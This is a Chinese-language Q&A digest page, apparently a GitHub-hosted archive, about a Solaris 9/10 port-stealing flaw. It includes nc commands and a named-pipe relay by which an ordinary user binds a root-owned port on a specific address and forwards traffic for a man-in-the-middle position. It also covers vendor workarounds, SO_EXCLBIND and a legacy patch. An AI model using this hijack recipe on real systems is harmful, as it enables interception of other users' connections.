Skip to content

Latest commit

 

History

History
72 lines (42 loc) · 1.78 KB

201103281906.txt.md

File metadata and controls

72 lines (42 loc) · 1.78 KB

10.27 Solaris 10 Port Stealing Vulnerability

http://scz.617.cn/unix/201103281906.txt

Q: Chris O'Regan [email protected] 2011-03-28

先让root侦听在*:55555上:

nc -l -p 55555

然后让普通用户执行:

$ nc -l -p 55555 Can't grab 0.0.0.0:55555 with bind

这是意料之中的。但是:

$ nc -l -p 55555 -s foo

将成功侦听在foo:55555上。可以用lsof确认:

lsof -i tcp:55555

让我们建立一个端口转发:

mkfifo /tmp/namedpipe nc -l -p 55555 -s foo 0</tmp/namedpipe | nc localhost 55555 1>/tmp/namedpipe

现在访问foo:55555,将被转至*:55555。这意味着中间人劫持。Solaris 9存在同样 问题。

我向Oracle报告了此问题,他们说这是BSD标准,是被期望的特性。他们给了一个极 不靠谱的临时解决方案:

ndd -set /dev/tcp tcp_extra_priv_ports_add 55555

这跟没解决一样,我总不能将所有大于1023的端口都设成特权端口吧。

查看非(0,1024)区间的特权端口:

ndd -get /dev/tcp tcp_extra_priv_ports

2049 4045

D: Jim Harrison

Windows有类似的功能:

Net.TCP Port Sharing https://msdn.microsoft.com/en-us/library/ms734772.aspx

A: Casper [email protected]

setsockopt()的SO_EXCLBIND可以阻止这种行为。

A: c0ntex [email protected] 2005-07-06

这其实是一个Sun提供过补丁的老漏洞,Oracle收购Sun之后,技术支持水平下降得太 厉害了。

Solaris Socket Hijack Vulnerability http://www.securiteam.com/unixfocus/5XP0220GAG.html

当时Sun认为内核中对SO_REUSEADDR的支持存在BUG,并提供了补丁:

Document ID : 116965-08 Patch ID : 116965-08 Problem Description :

5089150 Binding to a port which has already been bound may incorrectly succeed

现在我也不知道上哪儿找这份原始公告去,Oracle就是跎屎。